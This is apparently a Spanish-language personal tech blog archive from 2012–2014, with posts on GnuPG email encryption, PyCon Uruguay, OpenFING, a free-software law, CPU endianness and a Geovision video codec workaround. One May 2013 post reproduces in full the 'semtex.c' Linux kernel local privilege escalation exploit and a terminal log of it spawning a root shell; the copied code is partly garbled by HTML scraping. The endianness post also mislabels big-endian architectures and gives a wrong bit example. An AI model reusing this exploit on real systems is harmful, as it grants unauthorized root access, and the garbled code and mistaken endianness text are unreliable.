lunes, 9 de junio de 2014

Infografía: Cómo proteger tu correo electrónico con cifrado

La Free Software Foundation (FSF), ha lanzando una infografía así como una guía básica para el uso de cifrado en correo con GnuPG en respuesta al espionaje masivo gubernamental de la NSA develado por Eduard Snowden haca un año.
Uso básico de GnuPG paso a paso:
gnupg-infographic-es1

Bookmark and Share

miércoles, 25 de diciembre de 2013

Numato Mega New Year give away 2014 – Grab your surprise gift

Tom over at Numato writes,  ”This year we are calling all electronics enthusiasts to join this event and grab their free gift. Gifts ranging from SMD adapters to FPGA boards. More details at www.numato.cc”

This is the happiest time of the year for sure. Christmas is around the corner, New Year 2014 is fast approaching. And one more reason to be happy, this is the time Numato hosts the largest give away of the year. That is right! We hosted our first Christmas/New Year give away during December 2012/ January 2013 time and we saw overwhelming response from our readers. We gave away random gifts to every single person participated in the event, all 212 of them. We hope that everyone who received the gifts put it to good use and learned something from it.

Bookmark and Share

martes, 1 de octubre de 2013

PyCon Uruguay 2013

Cito texto de http://uy.pycon.org

PyCon es una conferencia anual orientada a la comunidad de usuarios y desarrolladores del lenguaje de programación de código-abierto Python. PyConUy 2013 es la segunda edición de eventos PyCon, organizado por la comunidad uruguaya de Python. El evento tendrá lugar el 1 y 2 de noviembre en Auditorio de la Torre ANTEL. Los objetivos se centran en acelerar la introducción y promover el uso de este hermoso lenguaje en Uruguay y la región. Nuestra meta es ofrecer acceso universal al lenguaje Python y sus herramientas relacionadas, por ello el registro a la PyCon será GRATIS gracias al trabajo de muchos voluntarios y sponsors.
Ya hemos sido conquistados por python y ahora estamos comprometidos a aprovecharlo al máximo. Es tiempo de que tú lo conozcas y comiences a construir el mejor software y a divertirnos juntos.

Contáctanos

pyconuy@python.org.uy
Por favor, no dudes en contactarnos frente a cualquiera duda o sugerencia.

Bookmark and Share

viernes, 13 de septiembre de 2013

OpenFING: clases en línea para aprender sin límites

“OpenFING es un proyecto estudiantil con el que se pretende digitalizar en video y publicar cursos completos impartidos en la Facultad, de manera libre y gratuita en Internet” fue la presentación que Matías Parodi, estudiante de la Facultad de Ingeniería de la Universidad de la República, hizo sobre el proyecto.
OpenFING surgió a comienzos del 2012 como una iniciativa por parte de estudiantes, que los docentes del Instituto de Computación apoyaron.
El objetivo principal del proyecto, desde un primer momento, fue el de brindar una herramienta de estudio a los miles de estudiantes que cursan alguna de las muchas carreras ofrecidas en la facultad. “Nuestra prioridad es publicar los cursos comunes a todas las carreras y en particular a los más sobre poblados, pero eventualmente iremos abarcando el resto” según contó Parodi.
“Lejos de incentivar dejar de asistir a clases, promovemos OpenFING como un recurso adicional para prepararlas y para estudiar para parciales y exámenes
Se pretende brindar una ayuda para que las personas que por alguna razón (económica, de horarios, carga laboral, ubicación, etc) no puede asistir a clases, no se vean en desventaja y tengan que dejar de estudiar por esos motivos.
Durante el segundo semestre del 2012 se filmo el primer curso “Fundamentos de Bases de Datos” junto a 4 estudiantes que se fueron acercando al proyecto durante las primeras semanas de filmación.
La publicación de los videos generó más interés, para el primer semestre del 2013 se llegó a tener  más de 10 voluntarios filmando 4 cursos en paralelo, dos de los cuales eran del IMERL.
A mediados de 2013 se propuso un módulo de taller. Hoy ya son más de 20 estudiantes trabajando en esta iniciativa, filmando 6 cursos este semestre, 13 clases semanales.
Todo el equipo de OpenFING está integrado por estudiantes de distintas generaciones y carreras de la facultad. A partir de este semestre a través del módulo de taller que creamos se está dando créditos por el trabajo en el proyecto, pero varios vienen trabajando hace más de un año voluntariamente.
En este momento se esta trabajando en el desarrollo de un sitio Web colaborativo que sustituirá la página actual del proyecto. La idea es crear una plataforma en donde los propios usuarios, estudiantes en general, puedan agregar valor a los videos a través de un mecanismo de anotaciones asociadas a fragmentos. “Esto nos va a permitir relacionar los contenidos de distintos cursos y ofrecer la posibilidad de ver los mismos temas desde distintas perspectivas”
“Queremos que el proyecto perdure en el tiempo, más allá de las personas que estén atrás de esto. Un paso importante en ese sentido fue la creación del módulo de taller de OpenFING, pero necesitamos afinar aún más los procesos internos y en especial la coordinación de los grupos de trabajo de manera que funcionen más autónomamente y no haya un único punto de falla”
Otro punto que el equipo considera importante alcanzar es lograr tener su propio equipamiento. “Hasta ahora venimos trabajando con equipos que conseguimos prestado en la facultad, pero un paso importante es lograr cierta autonomía que nos permita hacer nuestro trabajo sin depender, en este sentido, de otros organismos de la facultad.”

Página web: http://open.fing.edu.uy/

Bookmark and Share

miércoles, 14 de agosto de 2013

Laboratorio de Producción de soluciones de Código Abierto

HackLab 2013 Llamado a ideas

En los próximos talleres, construimos tu idea.
El Hacklab te invita a presentar tus ideas para la realización o modificación demáquinas/herramientas durante las actividades HackLab 2013-14.
Las máquinas/herramientas seleccionadas, serán construidas en taller, en grupos interdisciplinarios y con el espíritu de aprender y compartir poniendo en común los conocimientos de cada participante. Tanto el proceso de desarrollo como los planos finales, serán publicados en el sitio del HackLab para que queden disponibles al público.
Buscamos ideas que solucionen problemáticas generales o específicas, pero que impacten a una gran cantidad de personas. Pueden ser soluciones específicas que sean fácilmente replicables en otros lugares.
Ejemplos (y no valen usarse):
- Automatismo para alimentar al gato cuando nos vamos de viaje.
- Máquina termoformadora para fabricar cosas en plástico.
- Máquina automática para hacer panqueques rellenos de dulce de leche.
Puede participar cualquier persona o colectivo, con una idea concreta, llenando el formulario disponible en la web, antes del 25 de agosto de 2013.
Si tu idea queda seleccionada, te llamamos para integrar el grupo que la llevará a la realidad.

Bookmark and Share

martes, 21 de mayo de 2013

Linux local privilege escalation 0day, 2.6.37 - 3.8.10


Texto extraído de http://fucksheep.org/~sd/warez/semtex.c


/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1 #include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32 p="" uint64_t="" x="">
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;

for (i=0; i<4000 i="" p=""> uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20 8="" for="" j="" k="" p=""> if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}

void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}


int main() {
uint64_t  u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32 0x48="" idt.addr="" p="" u=""> }
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}



Compilamos y ejecutamos:
dclavijo@testing:~$ uname -r
3.2.0-4-amd64
dclavijo@testing:~$ gcc-4.6 -O2 semtex.c && ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
root@testing:~# 

Bookmark and Share

domingo, 3 de marzo de 2013

Endianess de la CPU

El endianess se utiliza para referirse a donde están ubicados los dos bits: mas y menos significativos cuando representamos un dato, o por sus acronimos LSB y MSB.

Las arquitecturas de procesadores mas conocidas que utilizan little-endian son: x86 (x86-64), 6502 (65802, 65C816), Z80 ( Z180, eZ80), MCS-48, 8051, DEC Alpha, Altera Nios II, Atmel AVR, SuperH, VAX, y por ultimo, PDP-11.

Las arquitecturas de procesadores mas conocidas que utilizan little endian son: Motorola 6800 and 68k, Xilinx Microblaze, IBM POWER, y System/360, System/370, ESA/390, y z/Architecture. La PDP-10 para direccionamiento. SPARC históricamente utilizo big-endian hasta la version 9 la cual es bi-endian al igual que la arquitectura ARM que fue little-endian hast a la version 3 hasta que cambio a bi-endian, Por ultimo PowerPC y la Power Architecture decendiente de IBM POWER son tambien bi-endian.

Nota: bi-endian se refiere a la capacidad del procesador de trabajar tanto en modo big-endian como little-endian.

También cabe destacar que los protocolos de transmisión de datos seriales como USB, RS232, RS422, y RS485 son little-endian.

Un ejemplo practico:

Para representar un integer 1 en big-endian lo haríamos de la siguiente forma (mostrándolo bit por bit) 0000 0000 0000 0001, y para hacerlo en lite-endian seria 1000 0000 0000 0000.

Ya sabemos que el tipo de dato integer ocupa 4 bytes y que el tipo char solo ocupa 1 byte, por lo cual solo tenemos que mirar en el primero de los bytes y ver si el valor guardado es 1 o 0:


#include <stdio.h>
/*
 Endianess detection
*/

int isBigEndian(){
    int i=1;
    char *low = (char*) &i; /*grabamos en el puntero tipo char una conversion tipo char de otro puntero al valor 1*/
    return *low ? 0 : 1; /*miramos si el primer byte contiene el valor 0 o 1*/
}

int main(int argc, char *argv[]){

    if(isBigEndian())
        printf("System is big-endiann\n");
    else
        printf("System is lite-endian\n");   
   
    return 0;
}


Por ultimo compilamos y probamos:

$ gcc endianess.c -o endianess; chmod u+x endianess; ./endianess

Bookmark and Share

jueves, 20 de diciembre de 2012

Software libre y formatos abiertos en el Estado


El día de ayer en el parlamento de mi país se acaba de aprobar el siguiente proyecto de ley:

"Software libre y formatos abiertos en el Estado"

Articulo 1.-

Los Poderes Ejecutivo, Legislativo y Judicial, los Entes Autónomos,
los organismos descentralizados, las empresas donde el Estado posea
mayoría accionaria, los Gobiernos Departamentales, las Juntas
Departamentales, el Tribunal de lo Contencioso Administrativo (TCA),
la Corte Electoral y los organismos de contralor del Estado, deberán
distribuir toda información en al menos un formato abierto, estándar y
libre. Todo pedido de información deberá ser aceptado en al menos un
formato abierto y estándar.

Artículo 2.-

En las instituciones y dependencias del Estado mencionadas en el
artículo 1º, cuando se contraten licencias de software se dará
preferencia a licenciamientos de software libre. En caso de que se
opte por software privativo se deberá fundamentar la razón basada en
aspectos técnicos que no puedan ser resueltos con software libre.

En caso de que el Estado contrate o desarrolle software, el mismo se
licenciará como software libre, incluyendo el acceso como software
libre al o los programas necesarios para el desarrollo. El intercambio
de información realizado con el Estado, a través de Internet, deberá
ser posible en, al menos, un navegador de Internet licenciado como
software libre.

Artículo 3.-

Se considera de interés general que el sistema educativo proceda a
promover el uso de software libre.

Artículo 4.-

El Poder Ejecutivo reglamentará en un plazo de ciento ochenta días las
condiciones,

tiempos y formas en que se efectuará la transición de la situación
actual a una que satisfaga las condiciones de la presente ley y
orientará, en tal sentido, las licitaciones y contrataciones futuras
de programas de computación (software) realizadas a cualquier título.

Artículo 5.-

Definiciones a los efectos de la presente ley:

A) El Software Libre es el que esta licenciado de forma que cumpla las
siguientes condiciones:

1. Pueda ser usado para cualquier propósito.

2. Se tiene acceso a su código fuente de forma que pueda ser estudiado
y cambiado para adaptarlo a las necesidades.

3. Pueda ser copiado y distribuido.

4. Y sea posible la mejora del programa y la liberación de dichas
mejoras a la ciudadanía.

B) los formatos abiertos son formas de manejo y almacenamiento de los
datos en los que se conoce su estructura y se permite su modificación
y acceso no imponiéndose ninguna restricción para su uso. Los datos
almacenados en formatos abiertos no requieren de software privativo
para ser utilizados.

C) Formatos estándar son los que han sido aprobados por una entidad
internacional de certificación de estándares.

Bookmark and Share

martes, 18 de diciembre de 2012

La educación prohibida




































Excelente documental sobre un problema endémico que padece toda latinoamerica.
Cabe destacar que esta licenciado bajo los términos de Creative Commons NC-SA 3.0

Sinopsis

La escuela ha cumplido ya más de 200 años de existencia y es aun considerada la principal forma de acceso a la educación. Hoy en día, la escuela y la educación son conceptos ampliamente discutidos en foros académicos, políticas públicas, instituciones educativas, medios de comunicación y espacios de la sociedad civil.Desde su origen, la institución escolar ha estado caracterizada por estructuras y prácticas que hoy se consideran mayormente obsoletas y anacrónicas. Decimos que no acompañan las necesidades del Siglo XXI. Su principal falencia se encuentra en un diseño que no considera la naturaleza del aprendizaje, la libertad de elección o la importancia que tienen el amor y los vínculos humanos en el desarrollo individual y colectivo.

A partir de estas reflexiones críticas han surgido, a lo largo de los años, propuestas y prácticas que pensaron y piensan la educación de una forma diferente. “La Educación Prohibida” es una película documental que propone recuperar muchas de ellas, explorar sus ideas y visibilizar aquellas experiencias que se han atrevido a cambiar las estructuras del modelo educativo de la escuela tradicional.

Más de 90 entrevistas a educadores, académicos, profesionales, autores, madres y padres; un recorrido por 8 países de Iberoamérica pasando por 45 experiencias educativas no convencionales; más de 25.000 seguidores en las redes sociales antes de su estreno y un total de 704 coproductores que participaron en su financiación colectiva, convirtieron a “La Educación Prohibida” en un fenómeno único. Un proyecto totalmente independiente de una magnitud inédita, que da cuenta de la necesidad latente del crecimiento y surgimiento de nuevas formas de educación.




Fuente [ http://www.educacionprohibida.com ]

Bookmark and Share

jueves, 8 de noviembre de 2012

Sobre el sistema de camaras de Geovision

Esto puede parecer una chotada pero hoy me tope con un video de un sistema de filmacion de seguridad de geovision.
Al parecer utilizan el codec MPEG4 pero en los videos este sistema edita el header y en vez de grabar el nombre del codec correspondiente que seria XVID este graba GM4H, esto implica que los videos grabados con este sistema de camaras solamente se pueden ver en donde este instalado el software de geovision.

Cuando intento reproducir el vídeo:

dclavijo@hotel:~$ mplayer video.avi
MPlayer svn r34540 (Debian), built with gcc-4.6 (C) 2000-2012 MPlayer Team

Playing video.avi.
libavformat version 53.21.0 (external)
Mismatching header version 53.19.0
AVI file format detected.
[aviheader] Video stream found, -vid 0
AVI: No audio stream found -> no sound.
VIDEO:  [GM4H]  720x576  24bpp  30.000 fps  2404.4 kbps (293.5 kbyte/s)
Load subtitles in ./
Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory
[vdpau] Error when calling vdp_device_create_x11: 1
==========================================================================
Cannot find codec matching selected -vo and video format 0x48344D47.
==========================================================================


Exiting... (End of file)

 Pero no es muy difícil solucionar este problema gracias a la herramienta sed:
 sed -e 's/GM4H/XVID/g#' video.avi > converted.avi 

 Y luego probamos ver este video:
dclavijo@debian:~$ mplayer converted.avi
MPlayer svn r34540 (Debian), built with gcc-4.6 (C) 2000-2012 MPlayer Team

Playing converted.avi.
libavformat version 53.21.0 (external)
Mismatching header version 53.19.0
AVI file format detected.
[aviheader] Video stream found, -vid 0
AVI: No audio stream found -> no sound.
VIDEO:  [XVID]  720x576  24bpp  30.000 fps  2404.4 kbps (293.5 kbyte/s)
Load subtitles in ./
Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory
[vdpau] Error when calling vdp_device_create_x11: 1
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 53.35.0 (external)
Mismatching header version 53.32.2
Unsupported PixelFormat 61
Unsupported PixelFormat 53
Unsupported PixelFormat 81
Selected video codec: [ffodivx] vfm: ffmpeg (FFmpeg MPEG-4)
==========================================================================
Audio: no sound
Starting playback...
Movie-Aspect is 1.25:1 - prescaling to correct movie aspect.
VO: [xv] 720x576 => 720x576 Planar YV12
V:   2.3  69/ 69  7%  1%  0.0% 0 0

 Le dejo un -1 a geovision por generar dependencia a los usuarios.

Bookmark and Share